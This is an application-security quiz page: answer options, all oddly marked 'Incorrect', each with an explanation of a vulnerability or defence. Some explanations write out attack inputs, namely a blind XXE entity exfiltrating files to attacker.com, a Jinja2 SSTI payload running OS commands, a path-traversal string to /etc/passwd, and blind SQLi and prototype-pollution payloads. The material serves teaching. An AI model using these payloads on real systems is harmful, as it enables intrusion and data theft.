Application Security MCQ 60 Tests With Answers (2026)

Incorrect·C: SAST analyzes the application's source code from the inside without running it; DAST interacts with the running application from the outside to find vulnerabilities

SAST (white-box testing) analyzes source code, bytecode, or binaries without execution — finding vulnerabilities like SQL string concatenation, hardcoded secrets, unsafe deserialization patterns, and path traversal as early as the coding phase. Tools: SonarQube, Semgrep, Checkmarx, Fortify. DAST (black-box testing) sends crafted HTTP requests to a running application and analyzes responses — finding runtime vulnerabilities like authentication bypasses, session management flaws, and server configuration issues that aren't visible in source code. Tools: OWASP ZAP, Burp Suite, Invicti. Modern DevSecOps pipelines integrate both: SAST in the CI pipeline on every commit, DAST in the staging environment before release.

Incorrect·A: A structured process for identifying, evaluating, and mitigating potential security threats during the design phase of an application

Threat Modeling is a proactive, design-phase security activity where architects and security engineers systematically identify: (1) What the application does and what assets it protects; (2) What threats could compromise those assets (using STRIDE — Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege); (3) Which threats are most likely and impactful; (4) What mitigations to implement. Done during design, threat modeling costs a fraction of finding the same flaws in production. The output is a threat model document that drives security requirements. Microsoft pioneered STRIDE; other methodologies include PASTA, VAST, and Attack Trees.

Incorrect·B: Spoofing

STRIDE is Microsoft's threat modeling taxonomy: S — Spoofing (impersonating another user, system, or process; violates Authentication), T — Tampering (maliciously modifying data or code; violates Integrity), R — Repudiation (performing an action and denying it; violates Non-Repudiation), I — Information Disclosure (exposing data to unauthorized parties; violates Confidentiality), D — Denial of Service (making the system unavailable; violates Availability), E — Elevation of Privilege (gaining capabilities beyond what is authorized; violates Authorization). Each category maps to a security property that the design must protect. STRIDE is applied to each component in a Data Flow Diagram (DFD) of the application architecture.

Incorrect·A: Safely relax the Same-Origin Policy to specify exactly which external domains are permitted to access its resources

The Same-Origin Policy (SOP) is a browser security mechanism that prevents scripts on one origin (scheme + domain + port) from reading responses from a different origin. CORS is an HTTP header-based mechanism that allows servers to explicitly declare which origins are permitted to make cross-origin requests. For example, Access-Control-Allow-Origin: https://app.example.com allows only that domain. The critical misconfiguration: setting Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true, or dynamically reflecting the request's Origin header without validation — this allows any malicious website to send credentialed requests to your API and read the response, defeating SOP entirely.

Incorrect·D: Content-Security-Policy (CSP)

Content-Security-Policy (CSP) is a powerful browser security mechanism delivered via HTTP response header (or meta tag) that instructs the browser to only execute scripts, load styles, images, and other resources from explicitly approved sources. A strict CSP — script-src 'self' — blocks inline scripts, eval(), and scripts from any external origin, defeating most XSS attacks even if the attacker successfully injects a payload. Key CSP directives: script-src (JavaScript sources), style-src (CSS), img-src (images), connect-src (XHR/fetch), frame-ancestors (clickjacking protection). The nonce-based approach (script-src 'nonce-{random}') allows inline scripts while still blocking injected ones.

Incorrect·B: Requiring the client to include a unique, unpredictable, anti-CSRF token with state-changing requests

CSRF tricks an authenticated user's browser into making unintended state-changing requests (fund transfers, password changes, account deletions) to a site where they are logged in, by embedding the request in a malicious page. The anti-CSRF token (Synchronizer Token Pattern) is the primary defense: the server generates a unique, unpredictable token per session or per-request, embeds it in forms (hidden field) or JavaScript state, and verifies its presence on every state-changing request. Since the attacker's malicious page cannot read the token from another origin (Same-Origin Policy), forged requests will lack the valid token. The SameSite=Strict or Lax cookie attribute also provides strong CSRF protection in modern browsers.

Incorrect·C: Parameterized Queries (Prepared Statements)

Parameterized Queries (also called Prepared Statements) are the definitive defense against SQL Injection. The SQL query structure is sent to the database engine first as a template with placeholders: SELECT * FROM users WHERE id = ?. The user input is then bound to the placeholder as a typed parameter. The database engine treats the parameter strictly as data — it is structurally impossible for it to be interpreted as SQL syntax, regardless of what characters it contains. This is fundamentally different from escaping/sanitizing input strings, which can be bypassed by encoding tricks. All major web frameworks provide parameterized query support (PDO in PHP, PreparedStatement in Java, parameterized queries in psycopg2 for Python).

Incorrect·D: Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA)

IDOR (Insecure Direct Object Reference) / BOLA (Broken Object Level Authorization) is the #1 API vulnerability (OWASP API Security Top 10 2023). It occurs when an application uses a user-controllable identifier (account ID, order number, file name) to access objects without verifying the requesting user is authorized for that specific object. The fix is server-side authorization on every resource access: verify that the authenticated user's identity has ownership or permission for the specific object being requested — not just that they are logged in. Never rely on obscuring or randomizing IDs (security through obscurity) as a substitute for actual authorization checks. This is Broken Access Control (OWASP A01:2021).

Incorrect·A: To identify and track vulnerabilities or licensing risks in open-source and third-party libraries used by the application

Modern applications typically contain 70–90% open-source code assembled from public registries (npm, Maven, PyPI). SCA tools automatically scan dependencies and transitive dependencies against vulnerability databases (CVE/NVD, GitHub Advisory Database, Snyk Vulnerability DB) to identify components with known security issues. SCA also flags licensing violations (GPL code in proprietary applications). SCA tools: Snyk, OWASP Dependency-Check, GitHub Dependabot, JFrog Xray. SCA is the tool that would have caught Apache Log4j in the dependency tree before Log4Shell (CVE-2021-44228) was exploited. The output helps teams understand their Software Bill of Materials (SBOM).

Incorrect·C: To ensure that two users with the exact same password will have completely different hash values, thwarting Rainbow Table attacks

A salt is a unique, randomly generated value appended to each user's password before hashing. Two effects: (1) Two users with the same password ("password123") will have completely different hashes, because their salts differ — preventing attackers from comparing hashes to identify shared passwords across the user table; (2) Precomputed Rainbow Table attacks become infeasible — a rainbow table for "password123" is useless if it hasn't been computed for "password123+{uniqueSalt}". The salt does not need to be secret — it is stored in plaintext alongside the hash in the database. Modern password hashing algorithms (Argon2id, bcrypt, scrypt) incorporate salting automatically and are intentionally designed to be computationally slow.

Incorrect·C: It prevents client-side scripts (like JavaScript) from accessing the cookie, mitigating the risk of token theft via XSS

The HttpOnly cookie flag instructs the browser to make the cookie inaccessible to client-side JavaScript (document.cookie). This is a critical XSS mitigation: if an attacker successfully injects a JavaScript payload via XSS, they cannot use document.cookie to steal the session token if HttpOnly is set. The cookie is still sent automatically with every HTTP request — the restriction is only on JavaScript readability. This should always be combined with the Secure flag (HTTPS-only transmission) and an appropriate SameSite policy (SameSite=Strict or Lax for CSRF protection). Together these three flags constitute the baseline security configuration for any session cookie.

Incorrect·B: Header, Payload, Signature

A JWT consists of three Base64URL-encoded sections separated by dots: (1) Header — specifies the token type ("typ": "JWT") and signature algorithm ("alg": "RS256" or "HS256"); (2) Payload — contains claims: registered (iss, sub, exp, iat, jti), public, and private claims (user ID, roles); (3) Signature — computed by signing Header.Payload with the secret/private key to verify integrity. Example structure: eyJ... (header) . eyJ... (payload) . SflK... (signature). Important: the payload is Base64-encoded, NOT encrypted — anyone can decode and read it. Never store sensitive data (passwords, secrets) in JWT payloads. For sensitive payloads, use JWE (JSON Web Encryption).

Incorrect·D: To provide a standardized protocol for delegated authorization, allowing third-party applications to access user data without exposing their credentials

OAuth 2.0 is a delegated authorization framework. It solves the credential-sharing anti-pattern: instead of giving a third-party app your password to access your Google Drive, OAuth lets you grant that app limited access via an access token — without ever sharing your password. The user authorizes the application at the Identity Provider (Google), which issues an access token scoped to specific resources (read:drive) with a limited lifetime. The app uses this token to call the API. OAuth 2.0 defines four grant types: Authorization Code (web apps), Authorization Code + PKCE (mobile/SPA), Client Credentials (machine-to-machine), and Device Code (smart TVs). OpenID Connect (OIDC) extends OAuth 2.0 to add authentication (identity) on top of authorization.

Incorrect·A: It guarantees the browser will only transmit the cookie over encrypted HTTPS connections

The Secure cookie flag instructs the browser to transmit the cookie only over HTTPS connections — never over plaintext HTTP. Without it, if a user visits the HTTP version of your site (even by accident, or via an SSL-stripping attack), their session cookie will be sent in cleartext and is trivially interceptable. An attacker on the same network using a tool like sslstrip can force the browser to use HTTP and capture the cookie. The Secure flag should always be set on session cookies, combined with HSTS (HTTP Strict Transport Security) at the server level — which tells the browser to never connect to the site over plain HTTP at all.

Incorrect·C: A security technology built directly into the application runtime environment capable of intercepting and blocking attacks in real-time

RASP instruments itself directly into an application's runtime environment (typically via a language agent — Java agent, Node.js module, Python middleware) and monitors application behavior from the inside. Unlike a WAF that inspects HTTP traffic from the outside, RASP has full visibility into actual function calls, database queries, and system interactions. When it detects an attack pattern — a SQLi payload about to be passed to a database query, or a command injection string about to reach a shell execution call — it can block the call at the exact point of exploitation. RASP agents are available from Contrast Security, Sqreen (acquired by Datadog), and open-source projects. It is especially valuable for legacy applications where code fixes are difficult.

Incorrect·D: Feeding a program with massive amounts of random, invalid, or unexpected data to discover coding errors, memory leaks, or crashes

Fuzzing (Fuzz Testing) is a dynamic testing technique that bombards a program with malformed, unexpected, or random inputs at high speed to trigger crashes, assertion failures, memory corruption, or unhandled exceptions — which indicate vulnerabilities. Types: (1) Dumb fuzzing — purely random data; (2) Mutation-based fuzzing — mutates valid test cases (bitflipping, truncation); (3) Coverage-guided fuzzing — instruments code to track which paths are exercised and generate inputs that reach unexplored paths (AFL, libFuzzer). Google's OSS-Fuzz continuously fuzzes 1,000+ critical open-source projects and has found 10,000+ vulnerabilities including CVEs in OpenSSL, SQLite, and curl. Particularly effective for finding buffer overflows, use-after-free, and integer overflows in C/C++ code.

Incorrect·C: By strictly validating input against an allow-list of permitted filenames and stripping directory manipulation characters (e.g., ../)

Directory Traversal (Path Traversal) occurs when an application uses user input to construct a file path without proper validation, allowing an attacker to use ../ sequences to escape the intended directory. Example: a request for ?file=../../../etc/passwd reads the Unix password file instead of the intended path. Prevention requires: (1) Use an allow-list of permitted filenames (not a denylist of dangerous sequences — these are easily bypassed with URL encoding: ..%2F, %2E%2E%2F, ....//); (2) Resolve the full canonical path after user input substitution using realpath() or Path.resolve() and verify it still starts with the intended safe base directory; (3) Use indirect object references — a numeric index mapped server-side to actual filenames rather than using the filename itself.

Incorrect·B: Implementing multiple, layered, and overlapping security controls so that if one fails, others remain to thwart the attack

Defense in Depth (DiD) is a military-origin security strategy adapted for cybersecurity: never rely on a single control. Multiple overlapping layers means the failure of any one control does not result in a complete compromise. Applied to web application security: an attacker must defeat: a WAF (which may block the initial probe), authentication controls (which prevent unauthorized access even if the WAF fails), authorization controls (which limit what an authenticated attacker can do), encryption (which protects data even if the attacker reaches the database), and logging/monitoring (which detects the breach and limits dwell time). Each layer independently reduces risk and collectively creates a system where the cost of an attack exceeds the attacker's resources.

Incorrect·D: An XML document issued by an Identity Provider containing statements about a user's identity and access rights

SAML (Security Assertion Markup Language) is an XML-based open standard for federated identity — primarily used for enterprise SSO (Single Sign-On). A SAML Assertion is a digitally signed XML document issued by the Identity Provider (IdP — e.g., ADFS, Okta) to the Service Provider (SP — the application) after a user authenticates with the IdP. The assertion contains: authentication statements (the user authenticated at time X via method Y), attribute statements (user's email, role, department), and authorization decision statements. The SP trusts the assertion because it is signed with the IdP's X.509 certificate. Critical attack: SAML Signature Wrapping (XSW) — modifying the assertion's XML structure to include a malicious assertion while keeping the valid signature attached to a different node.

Incorrect·B: A race condition where a system verifies a security condition, but the state of the object changes maliciously before the application executes the action

TOCTOU (Time-of-Check to Time-of-Use) is a race condition where a security check is performed at time T1, but the checked resource changes state between T1 and the actual use at T2, invalidating the check. Classic example: a banking application checks a user's balance (T1: balance = $100, withdraw $100 — allowed), but before debiting (T2), a second concurrent request also passes the check. Both withdrawals execute, overdrawing the account. Fix: use atomic operations, database transactions with appropriate isolation levels (SERIALIZABLE), mutex locks, or idempotency keys. TOCTOU is categorized under Insecure Design (OWASP A04:2021). File system TOCTOU (check file permissions then open) is exploitable via symlink attacks in privileged Unix processes.

Incorrect·A: The Instance Metadata Service (IMDS) at 169.254.169.254

In SSRF attacks against AWS-hosted applications, the primary target is http://169.254.169.254/latest/meta-data/ — the EC2 Instance Metadata Service (IMDS). This link-local address is accessible from any EC2 instance but unreachable externally, making SSRF the only remote vector to reach it. The path /latest/meta-data/iam/security-credentials/{role-name} returns temporary AWS access keys, secret keys, and session tokens valid for hours — enabling full AWS API access with the instance's role permissions. The Capital One breach (2019) exploited this exact path, exposing 100 million+ customer records. Mitigation: require IMDSv2 (session-oriented, requires a PUT request before GET), which breaks most SSRF exploits, and apply deny-by-default egress firewall rules.

Incorrect·D: Exploiting discrepancies in how front-end proxies and back-end servers parse conflicting Content-Length and Transfer-Encoding headers

HTTP Request Smuggling exploits a discrepancy between a front-end proxy (reverse proxy, CDN, load balancer) and a back-end application server in determining where one HTTP request ends and the next begins. HTTP/1.1 provides two mechanisms to specify body length: Content-Length (byte count) and Transfer-Encoding: chunked. When the front-end and back-end disagree on which header takes precedence, an attacker crafts a request that the proxy treats as one complete request but the back-end treats as two. The "smuggled" partial request poisons the processing queue of subsequent legitimate users. Impact: WAF bypass, credential hijacking, cache poisoning, access to restricted API endpoints, and reflected self-XSS escalation to capture other users' sessions.

Incorrect·C: By injecting a carefully crafted "gadget chain" — a sequence of existing, legitimate classes within the application's environment — into the serialized payload

Insecure Deserialization RCE via Gadget Chains exploits the automatic property and method calls that occur when an object is deserialized. The attacker constructs a malicious serialized object graph — a "gadget chain" — that links existing, already-loaded legitimate classes in the classpath (like Apache CommonsCollections' InvokerTransformer, or Spring's PropertyPathFactoryBean). When the deserialization engine processes the object, it automatically invokes methods on these chained gadgets, ultimately calling Runtime.exec() or ProcessBuilder to execute OS commands. The attacker never needs to inject new code — only manipulate the linking of existing classes. Discovered by Foxglove Security for Java in 2015. Prevention: avoid deserializing untrusted data; use integrity checks (digital signatures) on serialized objects; use serialization filters (ObjectInputFilter in Java 9+).

Incorrect·A: An Out-of-Band (OOB) technique, forcing the server to send the extracted data to an external, attacker-controlled domain

Blind XXE is needed when the application processes the malicious XML but doesn't reflect the external entity value in the HTTP response. Using an Out-of-Band (OOB) technique: the attacker hosts a malicious external DTD on their server (e.g., https://attacker.com/evil.dtd); within it they declare entities that load a local file (file:///etc/passwd) and embed its contents into a URL request back to the attacker's server (<!ENTITY exfil SYSTEM "https://attacker.com/collect?data=%data;">). The vulnerable server fetches the DTD, reads the file, and sends the data to the attacker via the outbound HTTP/DNS request. Burp Collaborator or interactsh are tools that capture these OOB interactions. Mitigation: disable external entity processing in the XML parser entirely — OWASP recommends disabling DOCTYPE declarations.

Incorrect·B: The server failing to enforce algorithms and accepting tokens where the header specifies "alg": "none", allowing signature bypass

The alg:none JWT attack exploits libraries that trust the algorithm specified in the token's own header. An attacker takes a legitimate JWT, decodes the Base64url header+payload, modifies claims (e.g., "role":"admin"), sets "alg":"none" in the header, removes the signature entirely, and resubmits. A misconfigured library sees "no signature required" and accepts the forged token without verification. Additional attack: algorithm confusion — on an RS256 (asymmetric) system, changing alg from RS256 to HS256 and signing with the server's public key (which is typically published). The HMAC verification then succeeds using the known public key as the HMAC secret. Fix: explicitly whitelist the expected algorithm in your JWT library configuration; never trust the "alg" value from the untrusted token itself.

Incorrect·D: JavaScript (Node.js and client-side)

Prototype Pollution is a JavaScript-specific vulnerability. In JavaScript, every object inherits from a prototype chain rooted at Object.prototype. If an application uses user-controlled keys in an operation like obj[key][value] = data without sanitizing key for __proto__ or constructor.prototype, an attacker can inject properties into ALL JavaScript objects. Example payload: {"__proto__": {"isAdmin": true}}. If server code checks if (user.isAdmin) and the prototype now has isAdmin:true, all users pass the check. In Node.js backend code this can lead to RCE via gadget chains in libraries (lodash, jQuery were vulnerable). Fix: use Map instead of plain objects for user-controlled data containers; validate/sanitize keys against a denylist (__proto__, prototype, constructor); use Object.create(null) to create prototype-less objects.

Incorrect·C: Injecting malicious payload syntax into a native web template engine (like Jinja2 or Twig), which is unsafely evaluated by the server, leading to RCE

SSTI occurs when user input is embedded directly into a server-side template string that is then rendered by a template engine. The detection test: submit {{7*7}} (Jinja2 / Twig), ${7*7} (FreeMarker / Velocity), or <%=7*7%> (ERB). If the response contains 49, template execution is confirmed. From there, attackers escalate to RCE by traversing the Python object hierarchy (Jinja2): {{config.__class__.__init__.__globals__['os'].popen('id').read()}} to execute arbitrary OS commands. This falls under OWASP A03:2021 (Injection). Prevention: never pass user input directly as a template string; render user content as data variables within a template; use logic-less templates (Mustache) which don't support arbitrary code execution in template syntax.

Incorrect·B: To digitally sign container images, ensuring the integrity and provenance of the image before the orchestrator deploys it

Container image signing addresses a critical supply-chain integrity risk: without signing, a container deployment pipeline could be tricked into pulling a malicious image that has been substituted in a registry (man-in-the-middle, registry compromise, or tag hijacking). Docker Notary (The Update Framework) and Sigstore Cosign allow image publishers to cryptographically sign container images with their private key. Before deployment, the Kubernetes admission controller (Kyverno, OPA Gatekeeper) or the container runtime verifies the image signature against a trusted public key — rejecting unsigned or tampered images. Sigstore's Cosign uses keyless signing backed by OIDC identity + an append-only public transparency log (Rekor), making it auditable and phishing-resistant.

Incorrect·C: A DNS record points to a de-provisioned external cloud service (like an AWS S3 bucket or GitHub Page), allowing an attacker to claim that service space and hijack the subdomain

Subdomain Takeover exploits stale DNS records. When an organization decommissions a cloud resource (S3 bucket, GitHub Pages site, Azure Web App, Heroku dyno) but neglects to also remove its CNAME DNS record pointing to that resource, the subdomain is "dangling." An attacker can register or claim the same resource name on the external platform (create an S3 bucket with the exact name the CNAME points to) and thus serve arbitrary content from the organization's subdomain. Implications: serves malware under the trusted domain, phishing pages that pass domain-based security checks, cookie theft (if cookies lack proper Domain scoping), and damage to brand reputation. Detected with tools like nuclei, subjack, and can-i-take-over-xyz GitHub repository.

Incorrect·A: An attacker manipulating an application into storing a maliciously crafted response in its caching layer, which is subsequently served to all other legitimate users

Web Cache Poisoning (researched and popularized by James Kettle at PortSwigger) exploits the difference between "keyed" and "unkeyed" inputs in HTTP caching. A cache key typically includes GET method + path + Host header. However, other headers (X-Forwarded-Host, X-Original-URL, Origin) may influence the application's response content but are excluded from the cache key. An attacker crafts a request with a malicious X-Forwarded-Host header that makes the application embed an attacker-controlled URL in the response (e.g., as a JS import: <script src="https://evil.com/xss.js">). If this response is cached, every subsequent user requesting the resource receives the poisoned response and executes the attacker's JavaScript — a stored XSS with application-wide reach.

Incorrect·D: Cryptographic Nonce / Initialization Vector (IV) reuse, allowing attackers to cancel out the keystream using XOR

IV (Initialization Vector) / Nonce reuse is catastrophically broken for stream ciphers and CTR/GCM block cipher modes. A stream cipher generates a keystream by combining the secret key with a unique IV: ciphertext = plaintext XOR keystream. If the same key+IV pair is reused for two different plaintexts (C1 = P1 XOR K, C2 = P2 XOR K), then C1 XOR C2 = P1 XOR P2 — the keystream cancels out, and statistical analysis recovers both plaintexts. WEP used RC4 with short 24-bit IVs (65,536 possible values), guaranteeing collisions on busy networks. The Attack was demonstrated in minutes. For AES-GCM, IV reuse not only recovers plaintexts but directly reveals the authentication key, breaking all integrity protection. Fix: use random IVs (CSPRNG), never reuse nonces, prefer SIV (Synthetic IV) constructions that are nonce-misuse-resistant.

Incorrect·C: The application does not return database errors or data to the screen; the attacker must infer information by asking boolean true/false questions or measuring artificial time delays (e.g., SLEEP(10))

In-Band SQLi is characterized by the database response being returned directly in the HTTP response — error-based (database error reveals the query structure) or UNION-based (attacker appends UNION SELECT to return data in the original query's result). Blind SQLi applies when the application is injectable but provides no visual feedback. Two blind techniques: (1) Boolean-Based — inject a condition that changes application behavior for true vs. false (different page content, redirect); extract data character-by-character: id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- ; binary search reduces queries per character to ~7; (2) Time-Based — inject SLEEP(n)/WAITFOR DELAY and measure HTTP response time as the oracle. Both methods are tedious but equally impactful. SQLMap automates both with its --technique=BT flags.

Incorrect·A: Rate limiting restricts the total number of requests a user can make in a given timeframe; Throttling slows down the processing speed of requests once a threshold is reached

Rate Limiting sets a hard cap: once a client exceeds N requests in T seconds, subsequent requests receive 429 Too Many Requests until the window resets. It prevents brute-force attacks, credential stuffing, account enumeration, and API abuse. Throttling progressively reduces processing speed (or response priority) as usage increases, rather than hard-blocking — allowing some degraded service. In API security, both are essential: rate limiting prevents enumeration and DoS; throttling protects backend resource pools from legitimate spike traffic. OWASP API Security Top 10 lists "Unrestricted Resource Consumption" (API4:2023) — previously "Lack of Resources & Rate Limiting" — as a major API vulnerability. Implementation: token bucket or leaky bucket algorithms; commonly applied at the API gateway layer.

Incorrect·D: It exploits the native introspection feature of GraphQL to map out the entire API schema, exposing hidden queries, mutations, and backend structures

GraphQL's introspection system is a built-in feature that allows clients to query the schema itself: {__schema { types { name fields { name type { name } } } }}. This returns a complete map of every type, query, mutation, argument, and field in the API — including internal admin queries and sensitive mutations that are not linked from the public UI. Attackers use this for reconnaissance before crafting targeted exploits. The query { __typename } can confirm a GraphQL endpoint exists. Best practices: disable introspection in production (it serves no legitimate user purpose), implement query depth limits and cost analysis to prevent DoS via deeply nested queries (GraphQL does not limit query complexity by default), and use persisted queries (query allow-listing for trusted clients).

Incorrect·C: An attacker uploads a malicious package to a public registry using the exact name of a company's internal, private package, tricking the build system into downloading the malicious version

Dependency Confusion (discovered and disclosed by researcher Alex Birsan in 2021) exploits how package managers resolve package sources. Many companies host internal packages by name (e.g., company-auth-utils) on a private registry. When a build system is configured to check both private and public registries, or when the private registry fails, the package manager may look up the name in the public registry (npm, PyPI, RubyGems). An attacker registers a package with the same name on the public registry at a higher version number — the build system downloads and executes the attacker's malicious version instead. Birsan received $130,000+ in bug bounties after demonstrating this against Apple, Microsoft, Netflix, Shopify, PayPal, Uber, and Tesla. Fix: namespace scoping (@company/package-name), exact hash pinning, lock files, and configure package managers to use private registry only for internal package names.

Incorrect·A: WebSockets do not strictly enforce the Same-Origin Policy (SOP) by default, relying entirely on the developer to manually validate the Origin header during the initial handshake

CSWSH is a WebSocket-specific CSRF variant. The browser's Same-Origin Policy prevents cross-origin reading of XMLHttpRequest/fetch responses, but WebSocket connections are NOT blocked by SOP — browsers send cookies with the initial handshake to any origin. If the server doesn't validate the Origin header during the HTTP → WebSocket upgrade request, a malicious cross-origin page can establish a full bidirectional WebSocket connection authenticated with the victim's session cookies. The attacker receives all real-time server-pushed data and can send commands as the authenticated user. Prevention: (1) Validate the Origin header server-side on the WebSocket handshake, allowing only trusted origins; (2) Use CSRF tokens in the WebSocket connection URL as a query parameter; (3) Implement proper authentication tokens in the WebSocket protocol, not just cookie-based authentication.

Incorrect·B: It prevents the browser from attempting to guess the MIME type of a file, forcing it to stick to the declared Content-Type, mitigating polyglot file uploads and drive-by downloads

Browsers historically performed "MIME type sniffing" — if the declared Content-Type didn't match what the content looked like (e.g., an image response that starts with <script>), the browser would re-interpret it as the sniffed type and potentially execute it as JavaScript. X-Content-Type-Options: nosniff disables this behaviour, forcing the browser to treat the response strictly as the declared Content-Type. This blocks the "polyglot" attack: an uploaded file that is simultaneously a valid JPEG and valid JavaScript, uploaded as image/jpeg but executed as script when loaded in a script context. It also prevents MIME-confusion attacks where a text/plain response is executed as text/html (or script). This is a low-cost, high-value header that should always be included in API and file-serving responses.

Incorrect·C: An advanced technique where an attacker injects HTML elements (like id or name attributes) that overwrite global JavaScript variables or window properties, altering the execution flow of the client-side script

DOM Clobbering exploits the HTML spec behavior where elements with id or name attributes are automatically exposed as properties of the window (global) object. If an application uses a pattern like: let config = window.config || {}, and an attacker can inject <a id="config" href="javascript:..."> into the HTML, they overwrite window.config. Advanced techniques involve nesting anchor tags to create multi-level object hierarchies: <form id="x"><input id="y" name="z"></form> makes window.x.y.z accessible. This is particularly exploitable in applications using DOMPurify (older versions) or other HTML sanitizers that allow id/name attributes — the sanitizer doesn't remove the HTML but the browser's JS engine gets clobbered globals. Prevention: don't rely on global window property existence checks for security-sensitive logic; forbid id/name attributes in user-generated HTML.

Incorrect·B: Functions are often granted overly permissive IAM execution roles, meaning a single code injection flaw in a minor function can lead to widespread cloud environment compromise

In serverless architectures, the Principle of Least Privilege is critically important but frequently violated. Functions are often assigned IAM execution roles with wildcard permissions (s3:*, dynamodb:*) — either for convenience during development or misconfiguration. A single code injection vulnerability (SQLi, command injection, SSRF, XXE) in one low-importance function that has a broad IAM role can pivot to: reading all S3 buckets (data exfiltration), writing to DynamoDB tables (data tampering), invoking other Lambda functions (lateral movement), or calling STS to generate tokens for further escalation. The serverless attack surface also includes event injection (SNS messages, API Gateway headers, SQS messages as injection vectors) and shared execution environments. Apply per-function least-privilege IAM, code signing, and defense-in-depth monitoring (AWS CloudTrail, GuardDuty).

Incorrect·A: To safely run sandboxed programs within the operating system kernel, providing deep, high-performance observability and security monitoring of application behavior without modifying the application code

eBPF (Extended Berkeley Packet Filter) is a revolutionary Linux kernel technology that allows sandboxed programs to run inside the kernel in response to events — syscalls, kprobes, tracepoints, network packets — without modifying kernel source or loading kernel modules (significantly reducing crash risk). For application security, eBPF enables: (1) Runtime Security Monitoring — Cilium Tetragon, Falco, and Aqua's aquasec-enforcer use eBPF to monitor every syscall, file access, network connection, and process execution by containerized applications and alert on anomalous behavior; (2) Network Observability — Pixie, Cilium generate automatic service maps and capture L7 traffic for forensics; (3) Performance-Zero-Cost Tracing — without injecting agents into the application process. eBPF is rapidly replacing traditional agent-based APM approaches for security telemetry in Kubernetes environments.